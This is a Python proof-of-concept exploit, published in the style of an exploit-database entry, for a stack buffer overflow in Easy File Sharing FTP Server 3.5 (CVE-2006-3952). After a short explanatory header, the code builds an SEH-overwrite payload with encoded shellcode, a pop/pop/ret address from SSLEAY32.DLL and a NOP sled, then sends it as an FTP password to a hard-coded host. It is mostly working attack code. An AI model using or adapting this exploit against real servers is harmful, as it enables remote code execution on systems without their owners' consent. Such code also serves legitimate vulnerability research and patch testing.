Easy File Sharing FTP Server 3.5 - Stack Buffer Overflow

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#!/usr/bin/env python

# Exploit Title: Easy File Sharing FTP Server 3.5 stack buffer overflow

# Date: 27 May 2014

# Exploit Author: superkojiman - http://www.techorganic.com

# Vulnerability discovered by: h07

# CVE: CVE-2006-3952

# OSVDB: 27646

# Vendor Homepage: http://www.efssoft.com

# Software Link: http://www.efssoft.com/ftpserver.htm

# Version: 3.5

# Tested on: Windows 8.1 Enterprise , English

#          : Windows 7 Enterprise SP1, English

#          : Windows XP SP3, English

#

# Description:

# A buffer overflow is triggered when when a large password is sent to the

# server.

#

# h07 found this bug in 2006, targetting EFS FTP Server 2.0. The original

# exploits relied on OS DLLs to reference a pop/pop/retn address to leverage a

# SEH attack. This was a bit unreliable as different versions of Windows would

# have different addresses and the exploit would need to be modified with the

# correct pop/pop/retn address.

#

# Fast forward to 2014. EFS FTP Server is now at version 3.5 (2012) and

# includes new features, such as SSL support. Ironically, by adding SSL

# support, they've given us a reliable pop/pop/retn address in the included

# SSLEAY32.DLL! This exploit should work reliably with any Windows release.

 

 

import socket

import struct

 

# calc shellcode from https://code.google.com/p/win-exec-calc-shellcode/

# msfencode -b "\x00\x20" -i w32-exec-calc-shellcode.bin

# [*] x86/shikata_ga_nai succeeded with size 101 (iteration=1)

shellcode = (

"\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9" +

"\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56" +

"\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9" +

"\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97" +

"\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64" +

"\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8" +

"\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a" +

"\x1c\x39\xbd"

)

 

payload = "\x2c"

payload += "A"*2559

payload += "\xeb\x19\x90\x90"               # jmp to nop sled + shellcode

payload += struct.pack("<I", 0x10017F21)    # pop/pop/ret, SSLEAY32.DLL

payload += "\x90"*30

payload += shellcode

 

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect(("192.168.1.130", 21))

s.recv(1024)

s.send("USER anonymous\r\n")

s.recv(1024)

s.send("PASS " + payload + "\r\n")

s.recv(1024)

s.close()